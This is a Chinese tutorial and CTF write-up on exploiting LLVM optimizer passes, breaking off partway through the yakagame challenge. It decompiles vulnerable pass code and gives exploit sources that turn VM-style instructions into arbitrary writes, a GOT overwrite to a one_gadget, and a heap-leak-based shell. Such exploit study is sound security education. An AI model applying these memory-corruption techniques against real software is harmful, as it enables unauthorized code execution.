基础知识

既然说到llvm pass pwn,我们肯定要先了解llvm到底是一个什么东西
学过编译原理的人应该都知道,编译过程主要可以划分为前端与后端:

  • 前端把源代码翻译成中间表示 (IR)
  • 后端把IR编译成目标平台的机器码。当然,IR也可以给解释器解释执行

然而,经典的编译器如gcc在设计上都是提供一条龙服务的: 你不需要知道它使用的IR是什么样的,它也不会暴露中间接口来给你操作它的IR。 换句话说,从前端到后端,这些编译器的大量代码都是强耦合的。

这样做有好处也有坏处。好处是,因为不需要暴露中间过程的接口,它可以在内部做任何想做的平台相关的优化。 而坏处是,每当一个新的平台出现,这些编译器都要各自为政实现一个从自己的IR到新平台的后端。 甚至如果当一种新语言出现,且需要实现一个新的编译器,那么可能需要设计一个新的IR,以及针对大部分平台实现这个IR的后端。 不妨想一下,如果有M种语言、N种目标平台,那么最坏情况下要实现 M*N 个前后端。这是很低效的。

因此,我们很自然地会想,如果大家都共用一种IR呢? 那么每当新增加一种语言,我们就只要添加一个这个语言到IR的前端; 每当新增加一种目标平台,我们就只要添加一个IR到这个目标平台的后端。 如果有M种语言、N种目标平台,那么最优情况下我们只要实现 M+N 个前后端。

LLVM就是这样一个项目。LLVM的核心设计了一个叫 LLVM IR 的中间表示, 并以库(Library) 的方式提供一系列接口, 为你提供诸如操作IR、生成目标平台代码等等后端的功能。

那么 LLVM Pass 又是什么呢? Pass就是“遍历一遍IR,可以同时对它做一些操作”的意思。翻译成中文应该叫“趟”。 在实现上,LLVM的核心库中会给你一些 Pass类 去继承。你需要实现它的一些方法。 最后使用LLVM的编译器会把它翻译得到的IR传入Pass里,给你遍历和修改。

下面列出几个比较重要的命令行工具:

  • llvm-as:把LLVM IR从人类能看懂的文本格式汇编成二进制格式。注意:此处得到的不是目标平台的机器码。
  • llvm-disllvm-as的逆过程,即反汇编。 不过这里的反汇编的对象是LLVM IR的二进制格式,而不是机器码。
  • opt:优化LLVM IR。输出新的LLVM IR
  • llc:把LLVM IR编译成汇编码。需要用as进一步得到机器码。
  • lli:解释执行LLVM IR

下面简单聊聊llvm IR

何为LLVM IR

  • LVM IR 是一门低级编程语言,语法类似于汇编
  • 任何高级编程语言(如C++)都可以用 LLVM IR 表示
  • 基于 LLVM IR 可以很方便地进行代码优化(任何编程语言都能统一转换为LLVM IR)

LLVM IR的两种表示方法

  • 人类可以阅读的文本形式,文件后缀为 .ll
  • 易于机器处理的二进制格式,文件后缀为 .bc

下面给出一些常用的指令:

  • .c -> .ll:clang -emit-llvm -S exp.c -o exp.ll
  • .c -> .bc: clang -emit-llvm -c exp.c -o exp.bc
  • .ll -> .bc: llvm-as a.ll -o exp.bc
  • .bc -> .ll: llvm-dis a.bc -o exp.ll
  • .bc -> .s: llc exp.bc -o exp.s

下面来分析官方文档中一个入门级别的llvm pass程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"

#include "llvm/IR/LegacyPassManager.h"

using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}

bool runOnFunction(Function &F) override { // 重写runOnFunction,使得每遍历到一个函数时就输出函数名
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
}; // end of struct Hello
} // end of anonymous namespace

char Hello::ID = 0;
static RegisterPass<Hello> X("hello", "Hello World Pass", // 使用 RegisterPass 宏注册 Hello Pass。这允许它通过命令行参数传递给LLVM工具
false /* Only looks at CFG */,
false /* Analysis Pass */);

这段代码的主要内容是注册了一个Hello函数,重写了runOnFunction函数,使得每遍历到一个函数时就输出函数名。

一般来说,在pwn题中,漏洞主要来自于so文件中,而漏洞多产生于重写了so文件中的runOnFunction函数,我们可以通过在ida中搜索vtable来定位这一个函数,而我们要攻击的则是opt这个elf文件
至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位

环境搭建

下载常见的clangllvm版本

1
2
3
4
5
6
7
8
sudo apt install clang-8
sudo apt install llvm-8

sudo apt install clang-10
sudo apt install llvm-10

sudo apt install clang-12
sudo apt install llvm-12

其中optLLVM的优化器和分析器,可加载指定的模块,对输入的LLVM IR或者LLVM字节码进行优化或分析。CTF题目一般会给出所需版本的opt文件(可用./opt --version查看版本)或者在README文档中告知opt版本。安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件(一般不开PIE保护)

gdb调试

1
2
3
4
gdb opt-8
set args -load ./yaka.so -ayaka ./exp.ll
b main
r

题目

[红帽杯 2021] simpleVM

好习惯,上来先给opt-8来一发checksec

可以发现程序并没有开启PIE保护而且got表可改
VMPass.so拖进ida,漏洞通常都在这一个so文件中
我们首先看start函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int start()
{
int v1; // [rsp+18h] [rbp-68h]
int v2; // [rsp+28h] [rbp-58h]

if ( "VMPass" )
v2 = strlen("VMPass");
else
v2 = 0;
if ( "VMPass" )
v1 = strlen("VMPass");
else
v1 = 0;
sub_6510((unsigned int)&unk_20E990, (unsigned int)"VMPass", v2, (unsigned int)"VMPass", v1, 0, 0);
return __cxa_atexit(func, &unk_20E990, &off_20E548);
}

可以看到PASS注册名称为VMPass。我们尝试在ida中查找runOnFunction函数,结果发现这个函数的符号表给删了?图片中的sub_6830函数即为我们要找的runOnFunction函数函数

接下来分析一下runOnFunction函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2)
{
__int64 v2; // rdx
bool v4; // [rsp+7h] [rbp-119h]
size_t v5; // [rsp+10h] [rbp-110h]
const void *Name; // [rsp+28h] [rbp-F8h]
__int64 v7; // [rsp+30h] [rbp-F0h]
int v8; // [rsp+94h] [rbp-8Ch]

Name = (const void *)llvm::Value::getName(a2);
v7 = v2;
if ( "o0o0o0o0" )
v5 = strlen("o0o0o0o0");
else
v5 = 0LL;
v4 = 0;
if ( v7 == v5 )
{
if ( v5 )
v8 = memcmp(Name, "o0o0o0o0", v5);
else
v8 = 0;
v4 = v8 == 0;
}
if ( v4 )
sub_6AC0(a1, a2);
return 0LL;
}

改函数先通过getName(a2)来获取.ll文件中定义的函数名字,如果该函数的名字为o0o0o0o0,则会进入sub_6AC0这个函数进行进一步的处理
定位到关键函数sub_6B80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2)
{
llvm::Value *CalledFunction; // rax
void **v3; // rax
void **v4; // rax
llvm::ConstantInt *v6; // [rsp+18h] [rbp-1B8h]
__int64 v7; // [rsp+20h] [rbp-1B0h]
__int64 v8; // [rsp+28h] [rbp-1A8h]
llvm::ConstantInt *v9; // [rsp+30h] [rbp-1A0h]
_QWORD *v10; // [rsp+38h] [rbp-198h]
__int64 v11; // [rsp+40h] [rbp-190h]
llvm::ConstantInt *v12; // [rsp+50h] [rbp-180h]
__int64 v13; // [rsp+58h] [rbp-178h]
__int64 v14; // [rsp+60h] [rbp-170h]
llvm::ConstantInt *v15; // [rsp+68h] [rbp-168h]
_QWORD *v16; // [rsp+70h] [rbp-160h]
__int64 v17; // [rsp+78h] [rbp-158h]
__int64 v18; // [rsp+A0h] [rbp-130h]
llvm::ConstantInt *v19; // [rsp+A8h] [rbp-128h]
void *v20; // [rsp+B0h] [rbp-120h]
__int64 v21; // [rsp+B8h] [rbp-118h]
__int64 v22; // [rsp+E0h] [rbp-F0h]
llvm::ConstantInt *v23; // [rsp+E8h] [rbp-E8h]
void *v24; // [rsp+F0h] [rbp-E0h]
__int64 v25; // [rsp+F8h] [rbp-D8h]
__int64 v26; // [rsp+110h] [rbp-C0h]
llvm::ConstantInt *v27; // [rsp+118h] [rbp-B8h]
_QWORD *v28; // [rsp+120h] [rbp-B0h]
__int64 v29; // [rsp+128h] [rbp-A8h]
__int64 ZExtValue; // [rsp+140h] [rbp-90h]
llvm::ConstantInt *v31; // [rsp+148h] [rbp-88h]
_QWORD *v32; // [rsp+150h] [rbp-80h]
__int64 ArgOperand; // [rsp+158h] [rbp-78h]
char *s1; // [rsp+168h] [rbp-68h]
llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
_QWORD *Name; // [rsp+1A8h] [rbp-28h]
__int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
__int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(a2);
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];
if ( !strcmp(s1, "pop") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
v32 = 0LL;
v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
if ( v31 )
{
ZExtValue = llvm::ConstantInt::getZExtValue(v31);
if ( ZExtValue == 1 )
v32 = off_20DFD0;
if ( ZExtValue == 2 )
v32 = off_20DFC0;
}
if ( v32 )
{
v3 = off_20DFD8;
*v32 = *(_QWORD *)*off_20DFD8;
*v3 = (char *)*v3 - 8;
}
}
}
else if ( !strcmp(s1, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v29 = llvm::CallBase::getArgOperand(v35, 0);
v28 = 0LL;
v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
if ( v27 )
{
v26 = llvm::ConstantInt::getZExtValue(v27);
if ( v26 == 1 )
v28 = off_20DFD0;
if ( v26 == 2 )
v28 = off_20DFC0;
}
if ( v28 )
{
v4 = off_20DFD8;
*off_20DFD8 = (char *)*off_20DFD8 + 8;
*(_QWORD *)*v4 = *v28;
}
}
}
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 )
{
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 )
{
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}
}
}
else if ( !strcmp(s1, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v21 = llvm::CallBase::getArgOperand(v35, 0);
v20 = 0LL;
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
if ( v19 )
{
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = off_20DFD0;
if ( v18 == 2 )
v20 = off_20DFC0;
}
if ( v20 == off_20DFD0 )
*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
if ( v20 == off_20DFC0 )
*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
}
}
else if ( !strcmp(s1, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v17 = llvm::CallBase::getArgOperand(v35, 0);
v16 = 0LL;
v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
if ( v15 )
{
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = off_20DFD0;
if ( v14 == 2 )
v16 = off_20DFC0;
}
if ( v16 )
{
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}
}
}
else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v11 = llvm::CallBase::getArgOperand(v35, 0);
v10 = 0LL;
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
if ( v9 )
{
v8 = llvm::ConstantInt::getZExtValue(v9);
if ( v8 == 1 )
v10 = off_20DFD0;
if ( v8 == 2 )
v10 = off_20DFC0;
}
if ( v10 )
{
v7 = llvm::CallBase::getArgOperand(v35, 1u);
v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
if ( v6 )
*v10 -= llvm::ConstantInt::getZExtValue(v6);
}
}
free(s1);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}
return 1LL;
}

看到这里我们终于可以知道为什么题目的名字叫simpleVM了,这就是很经典的VMpwn,只不过和llvm pass相结合而已。这个函数实现了pushpopstoreloadadd指令功能。为了方便看懂代码,这里先简单分析几个llvm pass中的函数。

1
Name = (_QWORD *)llvm::Value::getName(CalledFunction);

获取函数的名字并赋值给Name

1
v8 = llvm::ConstantInt::getZExtValue(v9);

获取函数的一个参数并将其赋值给v8
这里我选择使用addstoreload相互配合来实现任意地址写,下面给出关键代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// store
if ( v23 ){
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 ){
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 ){
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}

// load
if ( v19 ){
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = off_20DFD0;
if ( v18 == 2 )
v20 = off_20DFC0;
}
if ( v20 == off_20DFD0 )
*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
if ( v20 == off_20DFC0 )
*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;

// add
if ( v15 ){
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = off_20DFD0;
if ( v14 == 2 )
v16 = off_20DFC0;
}
if ( v16 ){
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}

学过VMpwn的师傅会发现,这里可以很容易的实现任意地址写
我们前面checksec发现opt-8并没有开启PIE保护以及got表可写。通过分析,在该关键函数每论循环结束时都会执行free函数,于是我们可以选择修改”寄存器”的值为got表地址,然后将里面的值读进”寄存器”,然后再利用add函数将”寄存器”里的free函数改成onegadget,最后写回freegot表中,程序调用free即可执行onegadget。最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
// clang-8 -emit-llvm -S exp.c -o exp.ll

void store(int a);
void load(int a);
void add(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x729ec);
store(1);
}

最后执行./opt-8 -load ./VMPass.so -VMPass ./exp.ll即可getshell
由于没有在比赛中遇到过这种题目,所以不知道远程是怎么打的。听别的师傅说,好像和kernel pwnqemu逃逸一样,都是直接上传一个elf

[CISCN 2021] SATool

首先还是按照上面的方法定位到被进行修改过的runOnFunction函数为sub_19D0,点开一看500多行代码,直接看的头大,这时候就十分的考验我们对关键代码的定位了
首先在最前面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Name = (_QWORD *)llvm::Value::getName((llvm::Value *)a2);
if ( v3 == 8 && *Name == 'r0oDkc4B' )
{
v4 = a2[10];
if ( v4 != (llvm::Value *)(a2 + 9) )
{
while ( 1 )
{
v5 = (char *)v4 - 24;
v82 = v4;
if ( !v4 )
v5 = 0LL;
v6 = *((_QWORD *)v5 + 6);
v7 = v5 + 40;
if ( (char *)v6 != v7 )

从中我们可以看到要一定要有名为B4ckDo0r(小端序)的函数才可以进行后面的操作
后面的程序大概可以看出,根据B4ckDo0r中调用不同的函数从而来执行相应的操作,接下来进行详细的分析
我们可以观察到如果传入的是run函数,他所执行的程序中存在以下这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))*byte_2040f8)(
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL);

这里会执行*byte_2040f8,所以我们想如果可以修改byte_2040f8one_gadget的地址,执行该段代码时我们就可以getshell
于是对byte_2040f8进行交叉引用,看看什么地方可以对该值进行修改,接下来对能对该地址进行修改的部分代码进行详细分析
首先是对fakekey函数的处理,定位到关键部分:

1
2
3
4
5
6
7
v76 = byte_204100;
if ( *(_BYTE *)(*(_QWORD *)v75 + 16LL) == 13 )
SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v75 + 24LL));
else
SExtValue = 0LL;
byte_204100 = v76 + SExtValue;
*byte_2040f8 = v76 + SExtValue;

可以看出该函数可以对*byte_2040f8byte_204100的值加上一个用户自己定义的数,即*byte_2040f8 = byte_204100 + 用户的value
接下来分析stealkey的关键部分:

1
2
3
4
5
6
7
8
9
10
if ( byte_2040f8
&& !(-1431655765
* (unsigned int)((v15
+ 24 * v65
- 24LL * v66
- (v8
- 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)) )
{
byte_204100 = *byte_2040f8;
}

这里会将*byte_2040f8赋值给byte_204100
最后是对save部分的分析,其有下面这段关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
if ( -1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2 ){
v21 = *(_BYTE *)(v8 + 16);
if ( v21 == 79 )
{
v22 = 0LL;
}
else
{
if ( v21 != 29 )
goto LABEL_143;
v22 = -2LL;
}
v23 = v15
+ 24 * v22
- 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
v24 = (__int64 *)(v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF));
if ( !(-1431655765 * (unsigned int)((unsigned __int64)(v23 - (_QWORD)v24) >> 3)) )
goto LABEL_154;
if ( (*(_DWORD *)(v8 + 20) & 0xFFFFFFF) == 0 )
goto LABEL_153;
v25 = *v24;
v26 = *(_BYTE *)(v8 + 16);
if ( v26 == 79 )
{
v27 = 0LL;
}
else
{
if ( v26 != 29 )
goto LABEL_144;
v27 = -2LL;
}
v28 = v15
+ 24 * v27
- 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
v29 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
if ( -1431655765 * (unsigned int)((unsigned __int64)(v28 - v29) >> 3) <= 1 )
goto LABEL_154;
if ( (*(_DWORD *)(v8 + 20) & 0xFFFFFFFu) <= 1 )
goto LABEL_153;
v30 = *(_QWORD *)(v29 + 24);
sub_2430(&src, v25);
sub_2430(v84, v30);
v31 = n;
v32 = malloc(0x18uLL);
v32[2] = byte_2040f8;
byte_2040f8 = v32;
v33 = (char *)src;
memcpy(v32, src, v31);
v34 = v32 + 1;
v35 = (char *)v84[0];
memcpy(v34, v84[0], (size_t)v84[1]);
if ( v35 != &v85 )
{
operator delete(v35);
v33 = (char *)src;
}
if ( v33 != v88 )
operator delete(v33);
}

第一行的代码意思是要求save函数要有2个参数,从代码中我们可以看出byte_2040f8指向一个新申请的0x20大小的堆块,而后面的操作看的也不是太懂,因为前面看的也不是很懂,于是用gdb调试了一下,测试脚本:

1
2
3
4
5
6
7
8
// clang-8 -S -emit-llvm exp.c -o exp.ll
#include <stdio.h>
void save(char *a, char *b){}

int B4ckDo0r(){
save("Qanux", "Qanux");
return 0;
}

gdb中查看byte_2040f8

可以看到byte_2040f8指向一个新malloc的堆块,堆块大小为0x18,堆块的内容为save函数的第一和第二个参数,回到最开始程序刚进入到对save函数的进行处理的时候,我们看看堆块的布局:

可以看到unsortedbin中存在一个堆块,tcache中有70x20大小的堆块,如果我们将7个堆块申请出来,再用save函数申请0x20大小的堆块,堆管理系统则会直接切割unsortedbin中的堆块进行分配,此时申请出来的堆块会残留着之前unsortedbinfd上有关libc的地址,即我们可以令*byte_2040f8libc上的一个地址
此时我们可利用stealkey函数将*byte_2040f8上的值赋值给byte_204100,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// clang-8 -S -emit-llvm exp.c -o exp.ll
#include <stdio.h>
void save(char *a, char *b){}
void takeaway(char *c){}
void stealkey(){}
void fakekey(int d){}
void run(){}

int B4ckDo0r(){
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("", "Qanux");
stealkey();
return 0;
}

效果如下:

再利用fakekey函数*byte_2040f8 = byte_204100 - one_gadget与byte_204100上有关libc地址的偏移,即可另*byte_2040f8的值为one_gadget的地址,最后使用run函数执行one_gadget直接getshell。最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// clang-8 -S -emit-llvm exp.c -o exp.ll
#include <stdio.h>
void save(char *a, char *b){}
void takeaway(char *c){}
void stealkey(){}
void fakekey(int d){}
void run(){}

int B4ckDo0r(){
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("Qanux", "Qanux");
save("", "Qanux");
stealkey();
fakekey(-0x1090f2);
run();
return 0;
}

[强网杯 2022] yakagame

这道题的PASS注册的名称并不能直接在start函数中找打,看了winmt师傅的文章发现可以对__cxa_atexit函数“交叉引用”来定位,如下图:

可以看见PASS注册的名称为ayaka(没事干给ida64换了一个主题哈哈哈)。接下来对主要函数进行分析,用上面题目的方法定位到sub_C880即为重写的runOnFunction函数。
还是和之前的方法一样,发现程序主要是对gamestart函数的定义进行分析和操作,接下来详细分析各个部分
fight函数的处理:

该函数只能有一个参数,以该参数作为索引,从weaponlist数组中取出一个数v53boss进行比较:

  • 如果v53的值小于boss,则输出loss
  • 如果v53的值大于等于boss,则输出win,并进行赋值操作:*score = v53 - boss
  • 如果*score > 0x12345678,则会进入backdoor函数

接下来就看看这个backdoor函数:

1
2
3
4
5
int backdoor(void)
{
puts("wow!! this is you gift");
return system(cmd);
}

可以想到,如果我们可以控制cmd的值并且执行backdoor函数,我们就能够getshell
merge函数的处理:

1
2
3
4
5
6
7
8
9
10
11
12
else if ( (std::operator==<char>(v58, "merge") & 1) != 0 ){
v52 = llvm::CallBase::getNumOperands(v60);
if ( v52 != 3 )
exit(0);
v15 = llvm::CallBase::getArgOperand(v60, 0);
v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v15);
v50 = llvm::ConstantInt::getZExtValue(v51);// 参数一
v16 = llvm::CallBase::getArgOperand(v60, 1u);
v51 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v16);
v49 = llvm::ConstantInt::getZExtValue(v51);// 参数二
weaponlist[v50] += weaponlist[v49];
}

该函数需要有2个参数,分别为v50v49,最后进行weaponlist[v50] += weaponlist[v49]操作
下面几个函数比较容易看懂且用处不大,就不做分析
destroy函数的处理:

1
2
3
4
5
6
7
8
9
10
else if ( (std::operator==<char>(v58, "destroy") & 1) != 0 ){
v48 = 0;
v47 = llvm::CallBase::getNumOperands(v60);
if ( v47 != 2 )
exit(0);
v17 = llvm::CallBase::getArgOperand(v60, 0);
v46 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
v48 = llvm::ConstantInt::getZExtValue(v46);
weaponlist[v48] = 0;
}

upgrade函数的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else if ( (std::operator==<char>(v58, "upgrade") & 1) != 0 ){
v45 = 0;
v44 = llvm::CallBase::getNumOperands(v60);
if ( v44 != 2 )
exit(0);
v18 = llvm::CallBase::getArgOperand(v60, 0);
v43 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v18);
v45 = llvm::ConstantInt::getZExtValue(v43);
for ( k = 0; k < 256; ++k )
weaponlist[k] += v45;
v19 = std::operator<<<std::char_traits<char>>(&std::cout, "upgrade finish");
std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
v20 = std::operator<<<std::char_traits<char>>(&std::cout, "enjoy your war");
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
}

下面是一系列关于原神梗的函数(原神56级玩家):

可以看出这一系列函数允许我们对cmd这个全局变量进行操作,所以我们可以通过对这几个函数的顺序进行适当的排序即可令cmd为我们想要的值
我们可以通过下面这段代码将cmd的值设置为"cat flag"

1
2
3
4
tiandongwanxiang();
wuxiangdeyidao();
guobapenhuo();
wuxiangdeyidao();

效果如下:

接下来是最重要的部分,当函数的名字不满足上述的所有条件后才会执行以下这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
else
{
v37 = 0;
v36 = llvm::CallBase::getNumOperands(v60);// 获取函数的参数个数
if ( v36 != 2 )
exit(0);
v21 = llvm::CallBase::getArgOperand(v60, 0);
v35 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
v37 = llvm::ConstantInt::getZExtValue(v35);// 获取函数的第一个参数
v34 = std::map<std::string,unsigned char>::begin(&funMap[abi:cxx11]);// v34为map的迭代器,指向begin
v33 = 0;
while ( 1 )
{ // _Rb_tree_iterator为红黑树迭代器,map的底层即为红黑树
v32 = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]);
if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator!=(&v34, &v32) & 1) == 0 )
break; // 如果迭代器到达map的尾端着退出循环
v22 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34);//
// 将v34这个std::pair<std::string const,unsigned char>类型对象赋值给v22
if ( (std::operator==<char>(v22, v58) & 1) != 0 )// v58为函数名
{ // map中存在该函数名
v23 = std::operator<<<std::char_traits<char>>(
&std::cout,
"you really want this?all right,i will add it into the weapon list");
std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
v24 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34);
weaponlist[v33] = *(_BYTE *)(v24 + 0x20);// 将value赋值给weaponlist,漏洞出现的地方
break;
}
++v33; // 用于记录map中已经存在的函数个数
v31[1] = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator++(&v34, 0LL);
// 将v34迭代器向前推进一个位置
}
v31[0] = std::map<std::string,unsigned char>::end(&funMap[abi:cxx11]);
if ( (std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator==(&v34, v31) & 1) != 0 )
{ // 当前函数不存在map中,输出
v25 = std::operator<<<std::char_traits<char>>(&std::cout, "wow!! you find a new weapon");
std::ostream::operator<<(v25, &std::endl<char,std::char_traits<char>>);
}
